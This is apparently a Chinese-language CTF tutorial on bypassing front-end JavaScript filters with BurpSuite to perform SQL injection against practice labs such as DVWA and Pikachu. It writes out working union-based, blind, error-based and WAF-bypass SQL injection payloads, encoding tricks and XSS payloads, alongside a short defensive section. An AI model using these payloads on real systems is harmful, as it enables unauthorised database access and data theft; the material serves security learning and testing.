从禁用JS到手工注入:BurpSuite实战突破前端过滤的SQL注入技巧
第一次参加CTF比赛时,遇到一个看似简单的搜索框,输入单引号却没有任何反应——这种挫败感很多新手都经历过。前端JavaScript过滤就像一堵无形的墙,挡住了大多数初学者的去路。但事实上,这堵墙远比想象中脆弱。本文将带你用BurpSuite这把"瑞士军刀",一步步拆解前端防护,还原SQL注入的本质攻击路径。
1. 为什么前端过滤形同虚设?
几乎所有Web安全教材都会强调:永远不要依赖前端验证。但新手往往会被表象迷惑,看到页面上过滤了特殊字符就放弃尝试。实际上,前端JS验证有三个致命弱点:
- 完全依赖客户端执行:浏览器可以随时关闭JS解释功能
- 请求可被中间人篡改:BurpSuite等代理工具能修改已通过前端检查的数据
- 过滤规则往往不完整:开发者可能遗漏某些编码形式的特殊字符
在最近某次高校CTF比赛中,超过60%的前端过滤题目都可以通过禁用JS或修改HTTP请求直接绕过。下面这段典型的过滤代码:
javascript复制function sanitize(input) {
return input.replace(/['"\\;]/g, '');
}
看似过滤了常见危险字符,但遇到||1=1--这类变体就无能为力。更讽刺的是,这种前端防护反而给攻击者提供了重要线索——它明确告诉黑客后台可能存在SQL注入漏洞。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与基础探测
2.1 实验环境配置
推荐使用DVWA或Pikachu靶场进行练习,它们都内置了可调节的前端过滤机制:
- DVWA:设置安全等级为"low"时存在基础前端过滤
- Pikachu:搜索功能模块包含典型的字符黑名单
浏览器配置要点:
- Chrome开发者工具 → Settings → Debugger → 勾选"Disable JavaScript"
- 安装BurpSuite Community Edition
- 配置浏览器代理为127.0.0.1:8080
注意:BurpSuite拦截请求时需要先关闭JS禁用,否则页面可能无法正常提交表单
2.2 基础注入探测技巧
即使前端过滤了单引号,我们仍可以通过数字型注入点试探:
code复制原始请求:id=1
修改为:id=1 and 1=1
观察页面返回差异。更专业的做法是用BurpSuite的Repeater模块发送以下序列:
id=1'→ 查看是否报错id=1'--→ 测试注释符是否生效id=1' or '1'='1→ 测试逻辑注入
当遇到下拉菜单等受限表单元素时,先用BurpSuite拦截正常请求,再修改参数值:
http复制POST /search.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
category=electronics&price=100
改为:
http复制category=electronics'--&price=100
3. BurpSuite高级利用技巧
3.1 绕过编码过滤的三种方法
前端有时会编码转换特殊字符,此时需要尝试:
- 双重URL编码:
'→%27→%2527 - HTML实体编码:
'→' - Unicode编码:
'→\u0027
在BurpSuite的Decoder模块可以快速测试各种编码组合。某次实战中,前端过滤了<script>但允许\u003cscript\u003e,导致XSS漏洞。
3.2 利用Intruder进行模糊测试
当不确定具体过滤规则时,可以用Intruder模块系统测试:
- 清除所有Payload标记
- 添加唯一标记位置(如
§input§) - 选择"Simple list"类型Payload
- 导入包含各种变形注入语句的文本文件
建议测试列表包含:
- 大小写变体:
SeLeCt - 注释变体:
/*!select*/ - 空白字符:
S%E%L%E%C%T - 字符串拼接:
'+'sql'+'injection
3.3 结合Scanner模块快速验证
Community版虽然功能受限,但依然可以:
- 右键请求 → Do active scan
- 查看扫描结果的"Insertion points"部分
- 重点关注"SQL injection"和"XSS"分类
某次测试发现,前端虽然过滤了alert(),但允许prompt(),这种不一致性往往意味着防护存在缺陷。
4. 手工注入实战:从信息收集到获取Flag
4.1 确定注入点类型
通过BurpSuite拦截正常搜索请求:
http复制GET /search?q=test HTTP/1.1
修改为以下变体并观察响应差异:
| 测试payload | 预期正常响应 | 可能注入类型 |
|---|---|---|
| q=test' | 500错误 | 字符型 |
| q=test and 1=1 | 结果相同 | 数字型 |
| q=test' and '1'='1 | 结果相同 | 字符型 |
4.2 获取数据库结构
确认注入点后,通过联合查询获取元数据:
code复制' union select 1,table_name from INFORMATION_SCHEMA.tables--
BurpSuite的Repeater模块非常适合调试这类复杂注入:
- 先测试确定列数:
' order by 5-- - 找到显示位:
' union select 1,2,3,4,5-- - 逐步替换显示位为需要的信息
4.3 数据提取技巧
当直接查询被过滤时,可以尝试:
- 子查询:
' union select 1,(select group_concat(column_name) from INFORMATION_SCHEMA.columns where table_name='users'),3-- - 盲注技术:
' or ascii(substring(database(),1,1))>97-- - 报错注入:
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--
在最近一次CTF中,通过以下变形成功绕过WAF:
sql复制'/*!UNION*/+/*!SELECT*/+1,@@version,database()--+
5. 防御视角的思考
作为开发者,应该认识到:
- 前端验证必须与后端验证配合使用
- 参数化查询是防御SQL注入的根本方案
- WAF规则需要定期更新测试
而作为安全测试人员,掌握这些绕过技巧的价值在于:
- 更全面地评估系统安全性
- 编写更有效的防御规则
- 理解攻击者的真实思维路径
某次渗透测试中,我们发现系统虽然在前端过滤了<script>标签,但允许<img src=x onerror=alert(1)>,这种防御缺口往往会导致严重漏洞。
